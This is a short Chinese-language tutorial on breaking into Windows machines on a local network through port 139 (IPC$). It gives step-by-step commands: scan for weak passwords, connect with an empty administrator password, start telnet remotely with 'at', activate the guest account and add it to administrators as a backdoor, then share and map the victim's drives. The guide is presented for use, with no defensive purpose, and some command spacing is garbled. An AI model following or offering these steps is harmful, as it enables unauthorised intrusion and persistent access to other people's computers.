简单的局域网入侵方法(一)
——139端口(IPC$)入侵
1、先用“NTscan变态扫描器”扫描局域网,使用WMI扫描端口139,得到一些弱口令用户的IP,用系统自带命令:{netuse \IPIPC$ "" /user:administrator},但是绝大部分情况下都会提示“发生系统错误53,找不到网络路径。”可以肯定对方机子上安装了防火墙,进不去了。
2、只有极个别能连上,提示“命令成功完成”,接下来建立连接:
nettime\192.168.0.1显示远程主机的当前时间,显示时间为05:00
at\192.168.0.1 05:00telnet用at命令启动远程主机的telnet服务
如果没成功,也可以这样操作我的电脑==>管理==>连接到另一台计算机==>输入IP==>服务和应用程序==>服务==>将telnet改为手动==>启动,就OK了。
telnet192.168.0.1telnet登录, 输入y
administrator输入的用户名,密码为空
3、设置后门
netuser查看用户,一般有:administrator,guest, HelpAssistant
net user guest/active:yes激活guest用户
net userguest***更改guest的密码为***
netlocalgroup administrators guest/add把guest的权限提升为管理员权限,为以后入侵留后门
4、设置共享
net shareE$设置E盘共享
net share c$/del关闭C盘共享
net use x: \ipc$映射远程主机c$盘到本地x盘
也可以使用远程监控软件(如:dameware)控制这台电脑。
5、用完后断开远程主机的连接